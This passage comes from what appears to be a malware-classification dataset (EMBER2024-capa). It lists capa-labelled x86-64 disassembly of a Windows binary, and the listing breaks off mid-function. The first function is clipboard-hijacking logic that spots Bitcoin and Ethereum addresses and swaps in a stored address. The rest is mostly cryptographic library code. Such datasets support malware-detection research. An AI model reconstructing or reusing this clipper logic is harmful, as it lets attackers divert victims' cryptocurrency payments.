joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001a4a0
Capabilities:
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
sub rsp, 0x28
cmp qword [0x1400d6b08], 0
jne 0x14001a4d1
xor r9d, r9d
lea r8, [0x1400d6b08]
mov edx, 0x22c5
lea rcx, [0x1400d69b0]
call fcn.140016cc0
test al, al
je 0x14001a6af
cmp qword [0x1400d6b00], 0
jne 0x14001a4fe
xor r9d, r9d
lea r8, [0x1400d6b00]
mov edx, 0x26b1
lea rcx, [0x1400d69b0]
call fcn.140016cc0
test al, al
je 0x14001a6af
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14001a6af
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
test rax, rax
je 0x14001a6a4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdx, rax
test rax, rax
je 0x14001a6a4
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x20], rdi
mov rdi, 0xffffffffffffffff
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14001a550
xor ebx, ebx
mov qword [rsp + 0x38], rsi
lea rax, [rcx - 0x19]
cmp rax, 9
ja 0x14001a576
movzx r11d, byte [rdx]
lea eax, [r11 - 0x31]
test al, 0xfd
je 0x14001a596
cmp rcx, 0x2a
jne 0x14001a60c
movzx r11d, byte [rdx]
cmp r11b, 0x62
jne 0x14001a5d3
cmp byte [rdx + 1], 0x63
jne 0x14001a60c
cmp byte [rdx + 2], 0x31
jne 0x14001a60c
mov rsi, qword [0x1400d6b08]
mov rax, rdx
mov r10, rsi
sub r10, rdx
nop word [rax + rax]
movzx r9d, byte [rax]
movzx r8d, byte [rax + r10]
sub r9d, r8d
jne 0x14001a5c6
inc rax
test r8d, r8d
jne 0x14001a5b0
test r9d, r9d
cmovne rbx, rsi
cmp rcx, 0x2a
jne 0x14001a60c
cmp r11b, 0x30
jne 0x14001a60c
cmp byte [rdx + 1], 0x78
jne 0x14001a60c
mov r10, qword [0x1400d6b00]
mov rax, rdx
mov r9, r10
sub r9, rdx
nop
movzx r8d, byte [rax]
movzx ecx, byte [rax + r9]
sub r8d, ecx
jne 0x14001a605
inc rax
test ecx, ecx
jne 0x14001a5f0
test r8d, r8d
cmovne rbx, r10
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
test rbx, rbx
je 0x14001a695
mov rdx, rdi
nop dword [rax]
inc rdx
cmp byte [rbx + rdx], 0
jne 0x14001a620
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rsi, rax
test rax, rax
je 0x14001a695
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14001a68c
nop dword [rax]
cmp byte [rbx + rdi + 1], 0
lea rdi, [rdi + 1]
jne 0x14001a650
lea rdx, [rdi + 1]
mov r8, rbx
mov rcx, rax
call fcn.14006f6d8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, rsi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
test rax, rax
jne 0x14001a695
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x20]
add rsp, 0x28
jmp qword [sym.imp.USER32.dll_CloseClipboard]
add rsp, 0x28
ret
Function at 0x14001e2b0
Capabilities:
Hash data using sha384
Hash data using sha512

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
xor edx, edx
mov rcx, qword [rcx + 0x70]
add rcx, 0x43c
call fcn.140049bc0
mov rcx, qword [rbx + 0x70]
mov edx, 1
add rcx, 0x4a8
add rsp, 0x20
pop rbx
jmp fcn.14004ac90
Function at 0x140046250
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x70
mov rax, qword [0x1400b1008]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rsi, r8
mov r14, rdx
mov rdi, rcx
test rcx, rcx
je 0x140046497
mov rcx, qword [rcx]
test rcx, rcx
je 0x140046497
mov rbp, qword [rdi + 0x10]
test rbp, rbp
je 0x140046497
movzx eax, byte [rcx + 0xd]
cmp r8, rax
jbe 0x140046363
mov rcx, rdi
call fcn.1400467a0
mov ebx, eax
test eax, eax
jne 0x14004647d
mov r8, rsi
mov rdx, r14
mov rcx, rdi
call fcn.140046840
mov ebx, eax
test eax, eax
jne 0x14004647d
mov rax, qword [rdi]
test rax, rax
je case.default.0x1400462f9
mov eax, dword [rax + 8]
dec eax
cmp eax, 6
ja case.default.0x1400462f9
lea rdx, [0x140000000]
cdqe
mov ecx, dword [rdx + rax*4 + 0x464b4]
add rcx, rdx
jmp rcx
mov rcx, qword [rdi + 8]
lea rdx, [rsp + 0x20]
call fcn.140054b80
jmp 0x140046349
mov rcx, qword [rdi + 8]
lea rdx, [rsp + 0x20]
call fcn.140056b20
jmp 0x140046349
mov rcx, qword [rdi + 8]
lea rdx, [rsp + 0x20]
call fcn.140058250
jmp 0x140046349
mov rcx, qword [rdi + 8]
lea rdx, [rsp + 0x20]
call fcn.1400499a0
jmp 0x140046349
mov rcx, qword [rdi + 8]
lea rdx, [rsp + 0x20]
call fcn.14004a910
mov ebx, eax
test eax, eax
jne 0x14004647d
mov rcx, qword [rdi]
lea r14, [rsp + 0x20]
mov rbp, qword [rdi + 0x10]
movzx esi, byte [rcx + 0xc]
movzx r8d, byte [rcx + 0xd]
mov edx, 0x36
mov rcx, rbp
lea rbx, [r8 + rbp]
call fcn.140068930
mov rax, qword [rdi]
mov edx, 0x5c
mov rcx, rbx
movzx r8d, byte [rax + 0xd]
call fcn.140068930
xor eax, eax
test rsi, rsi
je 0x14004645a
cmp rsi, 0x10
jb 0x14004642b
lea rdx, [rbx - 1]
lea r8, [r14 - 1]
add rdx, rsi
add r8, rsi
cmp rbx, r8
ja 0x1400463bb
cmp rdx, r14
jae 0x14004642b
lea rcx, [rbp - 1]
add rcx, rsi
cmp rbx, rcx
ja 0x1400463cc
cmp rdx, rbp
jae 0x14004642b
cmp rbp, r8
ja 0x1400463d6
cmp rcx, r14
jae 0x14004642b
mov rdx, rsi
and rdx, 0xfffffffffffffff0
mov r8, r14
mov r9, rbx
sub r8, rbp
mov rcx, rbp
sub r9, rbp
nop dword [rax]
movdqu xmm0, xmmword [rcx]
add rax, 0x10
movdqu xmm2, xmmword [r8 + rcx]
lea rcx, [rcx + 0x10]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmm0, xmmword [r9 + rcx - 0x10]
movdqu xmmword [rcx - 0x10], xmm1
pxor xmm2, xmm0
movdqu xmmword [r9 + rcx - 0x10], xmm2
cmp rax, rdx
jb 0x1400463f0
cmp rax, rsi
jae 0x14004645a
mov rcx, rbp
lea r8, [r14 + rax]
sub rcx, r14
sub rbx, r14
sub rsi, rax
nop dword [rax + rax]
movzx eax, byte [r8]
xor byte [rcx + r8], al
movzx eax, byte [r8]
xor byte [rbx + r8], al
lea r8, [r8 + 1]
sub rsi, 1
jne 0x140046440
mov rcx, rdi
call fcn.1400467a0
mov ebx, eax
test eax, eax
jne 0x14004647d
mov rax, qword [rdi]
mov rdx, rbp
mov rcx, rdi
movzx r8d, byte [rax + 0xd]
call fcn.140046840
mov ebx, eax
mov edx, 0x40
lea rcx, [rsp + 0x20]
call fcn.1400386b0
mov eax, ebx
jmp 0x14004649c
mov ebx, 0xffffaf00
jmp 0x14004647d
mov eax, 0xffffaf00
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14001a6d0
add rsp, 0x70
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400467a0
Capabilities:
Hash data with md5

Disassembly:
mov r8, rcx
test rcx, rcx
je case.default.0x1400467cd
mov rax, qword [rcx]
test rax, rax
je case.default.0x1400467cd
mov eax, dword [rax + 8]
dec eax
cmp eax, 6
ja case.default.0x1400467cd
lea rdx, [0x140000000]
cdqe
mov ecx, dword [rdx + rax*4 + 0x46824]
add rcx, rdx
jmp rcx
mov rcx, qword [r8 + 8]
jmp fcn.140054d20
mov rcx, qword [r8 + 8]
jmp 0x140056cd0
mov rcx, qword [r8 + 8]
jmp 0x140056cd0
mov rcx, qword [r8 + 8]
mov edx, 1
jmp fcn.140049bc0
mov rcx, qword [r8 + 8]
xor edx, edx
jmp fcn.140049bc0
mov rcx, qword [r8 + 8]
mov edx, 1
jmp fcn.14004ac90
mov rcx, qword [r8 + 8]
xor edx, edx
jmp fcn.14004ac90
mov eax, 0xffffaf00
ret
xor eax, eax
mov dword [rcx + 8], 0x67452301
mov qword [rcx], rax
mov dword [rcx + 0xc], 0xefcdab89
mov dword [rcx + 0x10], 0x98badcfe
mov dword [rcx + 0x14], 0x10325476
mov dword [rcx + 0x18], 0xc3d2e1f0
ret
Function at 0x14004ce10
Capabilities:
Encrypt data using openssl rsa

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
lea rbx, [0x14008bdd0]
mov r14, rdx
mov rcx, rbx
test rsi, rsi
je 0x14004ce6e
cmp qword [0x14008bdd0], 0
je 0x14004ce6e
mov rdi, qword [rsi + 8]
cmp qword [rcx + 8], rdi
jne 0x14004ce61
mov rdx, qword [rsi + 0x10]
mov r8, rdi
mov rcx, qword [rcx]
call fcn.140068ad0
test eax, eax
je 0x14004ce89
add rbx, 0x28
mov rcx, rbx
cmp qword [rbx], 0
jne 0x14004ce48
mov eax, 0xffffffd2
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
test rbx, rbx
je 0x14004ce6e
mov eax, dword [rbx + 0x20]
mov dword [r14], eax
xor eax, eax
jmp 0x14004ce73

Function at 0x14004cf40
Capabilities:
Encrypt data using openssl rsa

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push r15
sub rsp, 0x20
mov rsi, rcx
lea rbx, [0x14008bba0]
mov r14, r8
mov r15, rdx
mov rcx, rbx
test rsi, rsi
je 0x14004cfa6
cmp qword [0x14008bba0], 0
je 0x14004cfa6
mov rdi, qword [rsi + 8]
cmp qword [rcx + 8], rdi
jne 0x14004cf99
mov rdx, qword [rsi + 0x10]
mov r8, rdi
mov rcx, qword [rcx]
call fcn.140068ad0
test eax, eax
je 0x14004cfc6
add rbx, 0x28
mov rcx, rbx
cmp qword [rbx], 0
jne 0x14004cf80
mov eax, 0xffffffd2
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
test rbx, rbx
je 0x14004cfa6
mov eax, dword [rbx + 0x20]
mov dword [r15], eax
mov eax, dword [rbx + 0x24]
mov dword [r14], eax
xor eax, eax
jmp 0x14004cfab
Function at 0x140052b10
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r13
push r14
sub rsp, 0xd8
mov rax, qword [0x1400b1008]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov r13, qword [rsp + 0x148]
mov rsi, rcx
mov rcx, qword [rcx]
mov rbp, r9
mov qword [rsp + 0x28], r9
mov rdi, r8
mov rbx, rdx
call fcn.140045fe0
mov dword [rsp + 0x20], 0
mov r8, rdi
mov rdx, rbx
movzx r14d, al
mov rcx, rsi
mov byte [rsp + 0x23], 1
call fcn.140046250
mov edi, eax
test eax, eax
jne 0x140052da0
mov qword [rsp + 0xd0], r12
mov r12d, dword [rsp + 0x140]
test r12d, r12d
je 0x140052d78
mov qword [rsp + 0xc8], r15
mov r15d, dword [rsp + 0x138]
nop word [rax + rax]
mov r8, qword [rsp + 0x130]
mov rdx, rbp
mov rcx, rsi
call fcn.1400464d0
mov edi, eax
test eax, eax
jne 0x140052d70
lea r8d, [rax + 4]
mov rcx, rsi
lea rdx, [rsp + 0x20]
call fcn.1400464d0
mov edi, eax
test eax, eax
jne 0x140052d70
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.140046000
mov edi, eax
test eax, eax
jne 0x140052d70
mov rcx, rsi
call fcn.1400461f0
mov edi, eax
test eax, eax
jne 0x140052d70
mov r8, r14
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.140068bd0
mov ebx, 1
cmp r15d, ebx
jbe 0x140052d2c
nop dword [rax]
nop word [rax + rax]
mov r8, r14
lea rdx, [rsp + 0x70]
mov rcx, rsi
call fcn.1400464d0
mov edi, eax
test eax, eax
jne 0x140052d70
lea rdx, [rsp + 0x70]
mov rcx, rsi
call fcn.140046000
mov edi, eax
test eax, eax
jne 0x140052d70
mov rcx, rsi
call fcn.1400461f0
mov edi, eax
test eax, eax
jne 0x140052d70
xor eax, eax
mov rdx, r14
mov ecx, r14d
cmp r14d, 0x40
jb 0x140052d0a
mov r8d, 0xffffffc0
and rcx, r8
nop word [rax + rax]
movdqu xmm0, xmmword [rsp + rax + 0x30]
movdqu xmm1, xmmword [rsp + rax + 0x70]
pxor xmm1, xmm0
movdqu xmmword [rsp + rax + 0x30], xmm1
movdqu xmm0, xmmword [rsp + rax + 0x40]
movdqu xmm1, xmmword [rsp + rax + 0x80]
pxor xmm1, xmm0
movdqu xmmword [rsp + rax + 0x40], xmm1
movdqu xmm0, xmmword [rsp + rax + 0x50]
movdqu xmm1, xmmword [rsp + rax + 0x90]
pxor xmm1, xmm0
movdqu xmmword [rsp + rax + 0x50], xmm1
movdqu xmm0, xmmword [rsp + rax + 0x60]
movdqu xmm1, xmmword [rsp + rax + 0xa0]
pxor xmm1, xmm0
movdqu xmmword [rsp + rax + 0x60], xmm1
add rax, 0x40
cmp rax, rcx
jl 0x140052ca0
cmp rax, rdx
jge 0x140052d21
nop
movzx ecx, byte [rsp + rax + 0x70]
xor byte [rsp + rax + 0x30], cl
inc rax
cmp rax, rdx
jl 0x140052d10
inc ebx
cmp ebx, r15d
jb 0x140052c40
mov eax, r12d
lea rdx, [rsp + 0x30]
cmp r12d, r14d
mov rcx, r13
cmovae eax, r14d
mov r8d, eax
mov ebx, eax
call fcn.140068bd0
sub r12d, ebx
mov edx, 4
add r13, rbx
lea eax, [rdx - 1]
add byte [rsp + rax + 0x20], 1
jne 0x140052d62
add edx, 0xffffffff
jne 0x140052d53
mov rbp, qword [rsp + 0x28]
test r12d, r12d
jne 0x140052bb0
mov r15, qword [rsp + 0xc8]
mov edx, 0x40
lea rcx, [rsp + 0x30]
call fcn.1400386b0
mov edx, 0x40
lea rcx, [rsp + 0x70]
call fcn.1400386b0
mov r12, qword [rsp + 0xd0]
mov eax, edi
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.14001a6d0
add rsp, 0xd8
pop r14
pop r13
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140059c10
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x58
mov rax, qword [0x1400b1008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, qword [rsp + 0xc0]
mov rbp, rdx
mov rbx, qword [rsp + 0xb0]
xor edx, edx
mov r15, qword [rsp + 0xd0]
mov rsi, rcx
mov r14, qword [rsp + 0xd8]
call fcn.14005a140
test eax, eax
jne 0x140059dd7
mov r8, qword [rsp + 0xb8]
mov rdx, rbx
mov rcx, rsi
call fcn.14005a8f0
test eax, eax
jne 0x140059dd7
lea rax, [rsp + 0x30]
mov r9, r14
mov qword [rsp + 0x28], rax
mov r8, rbp
mov rdx, r15
mov qword [rsp + 0x20], rbp
mov rcx, rsi
call fcn.14005a3d0
test eax, eax
jne 0x140059dd7
mov rbx, qword [rsp + 0xc8]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rbx
lea r9, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rsi
call fcn.140059eb0
test eax, eax
jne 0x140059dd7
xor ecx, ecx
mov eax, ecx
test rbx, rbx
je 0x140059dd5
cmp rbx, 8
jb 0x140059d8e
mov rdx, rbx
lea rcx, [rsp + 0x38]
and rdx, 0xfffffffffffffff8
mov r8, rdi
sub r8, rcx
xorps xmm4, xmm4
xorps xmm3, xmm3
nop dword [rax]
nop dword [rax + rax]
movd xmm2, dword [rdi + rax]
lea rcx, [r8 + rax]
movd xmm1, dword [rsp + rax + 0x38]
xorps xmm0, xmm0
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm1, xmm0
pxor xmm2, xmm1
movd xmm1, dword [rsp + rax + 0x3c]
por xmm4, xmm2
punpcklbw xmm1, xmm0
movd xmm2, dword [rsp + rcx + 0x3c]
add rax, 8
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
pxor xmm2, xmm1
por xmm3, xmm2
cmp rax, rdx
jb 0x140059d10
por xmm3, xmm4
movdqa xmm0, xmm3
psrldq xmm0, 8
por xmm3, xmm0
movdqa xmm0, xmm3
psrldq xmm0, 4
por xmm3, xmm0
movd ecx, xmm3
cmp rax, rbx
jae 0x140059dbf
lea rdx, [rsp + 0x38]
sub rdi, rdx
nop word [rax + rax]
lea r8, [rsp + 0x38]
add r8, rax
inc rax
movzx r9d, byte [rdi + r8]
movzx r8d, byte [r8]
xor r9d, r8d
or ecx, r9d
cmp rax, rbx
jb 0x140059da0
test ecx, ecx
je 0x140059dd5
mov rdx, rbp
mov rcx, r14
call fcn.1400386b0
mov eax, 0xffffffee
jmp 0x140059dd7
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14001a6d0
add rsp, 0x58
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140059eb0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rbx, qword [rsp + 0x60]
mov rdi, rcx
mov qword [r9], 0
mov rax, qword [rcx + 0x160]
mov rcx, qword [rcx + 0x168]
lea r14, [rax*8]
lea rbp, [rcx*8]
test rax, rax
jne 0x140059f0b
test cl, 0xf
je 0x140059f0b
lea rdx, [rdi + 0x190]
mov rcx, rdi
mov r8, rdx
call fcn.1400596d0
mov rsi, qword [rsp + 0x68]
lea rax, [rsi - 4]
cmp rax, 0xc
ja 0x14005a058
test byte [rdi + 0x160], 0xf
je 0x140059f39
lea rdx, [rdi + 0x190]
mov rcx, rdi
mov r8, rdx
call fcn.1400596d0
lea rdx, [rdi + 0x170]
mov r8, rsi
mov rcx, rbx
call fcn.140068bd0
test r14, r14
jne 0x140059f59
test rbp, rbp
je 0x14005a054
lea rdx, [rdi + 0x190]
mov rax, rbp
shr rax, 0x38
mov r8, rdx
xor byte [rdx], al
mov rcx, rdi
mov rax, rbp
shr rax, 0x30
xor byte [rdi + 0x191], al
mov rax, rbp
shr rax, 0x28
xor byte [rdi + 0x192], al
mov rax, rbp
shr rax, 0x20
xor byte [rdi + 0x193], al
mov rax, rbp
shr rax, 0x18
xor byte [rdi + 0x194], al
mov rax, rbp
shr rax, 0x10
xor byte [rdi + 0x195], al
mov rax, rbp
shr rax, 8
xor byte [rdi + 0x196], al
mov rax, r14
xor byte [rdi + 0x197], bpl
shr rax, 0x38
xor byte [rdi + 0x198], al
mov rax, r14
shr rax, 0x30
xor byte [rdi + 0x199], al
mov rax, r14
shr rax, 0x28
xor byte [rdi + 0x19a], al
mov rax, r14
shr rax, 0x20
xor byte [rdi + 0x19b], al
mov rax, r14
shr rax, 0x18
xor byte [rdi + 0x19c], al
mov rax, r14
shr rax, 0x10
xor byte [rdi + 0x19d], al
mov rax, r14
shr rax, 8
xor byte [rdi + 0x19e], al
xor byte [rdi + 0x19f], r14b
call fcn.1400596d0
test rsi, rsi
je 0x14005a054
sub rdi, rbx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rdi + rbx + 0x190]
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rsi, 1
jne 0x14005a040
xor eax, eax
jmp 0x14005a05d
mov eax, 0xffffffec
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x14005a140
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push r14
sub rsp, 0xa0
mov rax, qword [0x1400b1008]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov rsi, rcx
mov rdi, r9
xor ecx, ecx
mov r14, r8
mov qword [rsp + 0x58], rcx
test r9, r9
je 0x14005a3a6
movabs rax, 0x2000000000000000
cmp r9, rax
jae 0x14005a3a6
mov qword [rsp + 0x98], rbp
xorps xmm0, xmm0
lea rbp, [rsi + 0x180]
movups xmmword [rbp], xmm0
movups xmmword [rsi + 0x190], xmm0
mov dword [rsi + 0x1a0], edx
mov qword [rsi + 0x160], rcx
mov qword [rsi + 0x168], rcx
cmp r9, 0xc
jne 0x14005a1db
movsd xmm0, qword [r8]
movsd qword [rbp], xmm0
mov eax, dword [r8 + 8]
mov dword [rbp + 8], eax
mov byte [rsi + 0x18f], 1
jmp 0x14005a37a
mov qword [rsp + 0xc8], rbx
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x88], r13
mov qword [rsp + 0x80], r15
lea r15, [r9*8]
mov rax, r15
mov r12, r15
shr rax, 0x28
mov r13, r15
mov qword [rsp + 0x30], rax
mov rax, r15
shr rax, 0x20
mov qword [rsp + 0x38], rax
mov rax, r15
shr rax, 0x18
mov qword [rsp + 0x40], rax
mov rax, r15
shr rax, 0x10
mov qword [rsp + 0x48], rax
mov rax, r15
shr r12, 0x38
shr r13, 0x30
shr rax, 8
mov qword [rsp + 0x50], rax
movups xmmword [rsp + 0x60], xmm0
nop dword [rax]
nop word [rax + rax]
mov ebx, reloc.WS2_32.dll_recv
cmp rdi, rbx
cmovb rbx, rdi
test rbx, rbx
je 0x14005a295
mov r8, r14
mov rax, rbp
sub r8, rsi
mov rdx, rbx
nop dword [rax]
movzx ecx, byte [r8 + rax - 0x180]
xor byte [rax], cl
lea rax, [rax + 1]
sub rdx, 1
jne 0x14005a280
mov r8, rbp
mov rdx, rbp
mov rcx, rsi
call fcn.1400596d0
add r14, rbx
sub rdi, rbx
jne 0x14005a260
movzx eax, byte [rsp + 0x60]
mov r8, rbp
xor byte [rbp], al
mov rdx, rbp
movzx eax, byte [rsp + 0x61]
mov rcx, rsi
xor byte [rsi + 0x181], al
movzx eax, byte [rsp + 0x62]
xor byte [rsi + 0x182], al
movzx eax, byte [rsp + 0x63]
xor byte [rsi + 0x183], al
movzx eax, byte [rsp + 0x64]
xor byte [rsi + 0x184], al
movzx eax, byte [rsp + 0x65]
xor byte [rsi + 0x185], al
movzx eax, byte [rsp + 0x66]
xor byte [rsi + 0x186], al
movzx eax, byte [rsp + 0x67]
xor byte [rsi + 0x187], al
xor byte [rsi + 0x188], r12b
xor byte [rsi + 0x189], r13b
mov rax, qword [rsp + 0x30]
xor byte [rsi + 0x18a], al
mov rax, qword [rsp + 0x38]
xor byte [rsi + 0x18b], al
mov rax, qword [rsp + 0x40]
xor byte [rsi + 0x18c], al
mov rax, qword [rsp + 0x48]
xor byte [rsi + 0x18d], al
mov rax, qword [rsp + 0x50]
xor byte [rsi + 0x18e], al
xor byte [rsi + 0x18f], r15b
call fcn.1400596d0
mov r15, qword [rsp + 0x80]
mov r13, qword [rsp + 0x88]
mov r12, qword [rsp + 0x90]
mov rbx, qword [rsp + 0xc8]
lea rax, [rsp + 0x58]
mov r8d, reloc.WS2_32.dll_recv
lea r9, [rsi + 0x170]
mov qword [rsp + 0x20], rax
mov rdx, rbp
mov rcx, rsi
call fcn.1400476f0
mov rbp, qword [rsp + 0x98]
jmp 0x14005a3ab
mov eax, 0xffffffec
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14001a6d0
add rsp, 0xa0
pop r14
pop rdi
pop rsi
ret
Function at 0x14005a8f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
movabs rax, 0x2000000000000000
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
cmp r8, rax
jb 0x14005a92c
mov eax, 0xffffffec
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rcx + 0x168]
mov r8, rax
mov qword [rsp + 0x38], r14
and r8d, 0xf
je 0x14005a9b1
mov r14d, reloc.WS2_32.dll_recv
sub r14, r8
cmp r14, rdi
cmova r14, rdi
test r14, r14
je 0x14005a985
add rcx, 0x190
mov r9, rsi
add rcx, r8
sub r9, r8
sub r9, rbx
mov rdx, r14
nop dword [rax]
movzx eax, byte [r9 + rcx - 0x190]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x14005a970
lea rax, [r14 + r8]
cmp rax, 0x10
jne 0x14005a9a1
lea rdx, [rbx + 0x190]
mov rcx, rbx
mov r8, rdx
call fcn.1400596d0
mov rax, qword [rbx + 0x168]
sub rdi, r14
add rsi, r14
add rax, r14
add rax, rdi
mov qword [rbx + 0x168], rax
cmp rdi, 0x10
jb 0x14005aaa8
mov qword [rsp + 0x30], rbp
mov rbp, rdi
shr rbp, 4
imul rax, rbp, 0xfffffffffffffff0
add rdi, rax
nop dword [rax + rax]
movzx eax, byte [rsi]
lea r8, [rbx + 0x190]
xor byte [rbx + 0x190], al
lea rdx, [rbx + 0x190]
movzx eax, byte [rsi + 1]
mov rcx, rbx
xor byte [rbx + 0x191], al
movzx eax, byte [rsi + 2]
xor byte [rbx + 0x192], al
movzx eax, byte [rsi + 3]
xor byte [rbx + 0x193], al
movzx eax, byte [rsi + 4]
xor byte [rbx + 0x194], al
movzx eax, byte [rsi + 5]
xor byte [rbx + 0x195], al
movzx eax, byte [rsi + 6]
xor byte [rbx + 0x196], al
movzx eax, byte [rsi + 7]
xor byte [rbx + 0x197], al
movzx eax, byte [rsi + 8]
xor byte [rbx + 0x198], al
movzx eax, byte [rsi + 9]
xor byte [rbx + 0x199], al
movzx eax, byte [rsi + 0xa]
xor byte [rbx + 0x19a], al
movzx eax, byte [rsi + 0xb]
xor byte [rbx + 0x19b], al
movzx eax, byte [rsi + 0xc]
xor byte [rbx + 0x19c], al
movzx eax, byte [rsi + 0xd]
xor byte [rbx + 0x19d], al
movzx eax, byte [rsi + 0xe]
xor byte [rbx + 0x19e], al
movzx eax, byte [rsi + 0xf]
xor byte [rbx + 0x19f], al
call fcn.1400596d0
add rsi, 0x10
sub rbp, 1
jne 0x14005a9e0
mov rbp, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
test rdi, rdi
je 0x14005aad4
lea rcx, [rbx + 0x190]
sub rsi, rbx
nop dword [rax]
movzx eax, byte [rsi + rcx - 0x190]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rdi, 1
jne 0x14005aac0
mov rbx, qword [rsp + 0x40]
xor eax, eax
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x14005ac70
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
push rbx
push rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x1400b1008]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0xd8]
lea r10, [r11 - 0x38]
mov rbx, qword [rsp + 0xf0]
mov rdi, r8
mov r8, qword [rsp + 0xc8]
mov rsi, qword [rsp + 0xe0]
mov qword [r11 - 0x48], rbx
mov qword [r11 - 0x50], r10
mov qword [r11 - 0x58], rsi
mov qword [r11 - 0x60], rax
mov rax, qword [rsp + 0xd0]
mov qword [r11 - 0x68], rax
mov rax, qword [rsp + 0xc0]
mov qword [r11 - 0x70], r8
mov r8, rdi
mov qword [r11 - 0x78], rax
call fcn.14005aaf0
test eax, eax
jne 0x14005ade3
mov r10, qword [rsp + 0xe8]
xor ecx, ecx
xor dl, dl
cmp rbx, 8
jb 0x14005ad9e
mov r8, rbx
xorps xmm4, xmm4
and r8, 0xfffffffffffffff8
xorps xmm3, xmm3
nop dword [rax]
nop word [rax + rax]
movd xmm2, dword [rcx + r10]
lea eax, [rdx + 4]
movd xmm1, dword [rsp + rcx + 0x60]
xorps xmm0, xmm0
punpcklbw xmm2, xmm0
add dl, 8
punpcklwd xmm2, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm1, xmm0
pxor xmm2, xmm1
movzx ecx, al
por xmm4, xmm2
movd xmm2, dword [rcx + r10]
movd xmm1, dword [rsp + rcx + 0x60]
punpcklbw xmm2, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
movzx ecx, dl
pxor xmm2, xmm1
por xmm3, xmm2
cmp rcx, r8
jb 0x14005ad20
por xmm3, xmm4
movdqa xmm0, xmm3
psrldq xmm0, 8
por xmm3, xmm0
movdqa xmm0, xmm3
psrldq xmm0, 4
por xmm3, xmm0
movd ecx, xmm3
movzx eax, dl
cmp rax, rbx
jae 0x14005adcb
nop word [rax + rax]
movzx r9d, byte [rax + r10]
inc dl
movzx r8d, byte [rsp + rax + 0x60]
xor r9d, r8d
movzx eax, dl
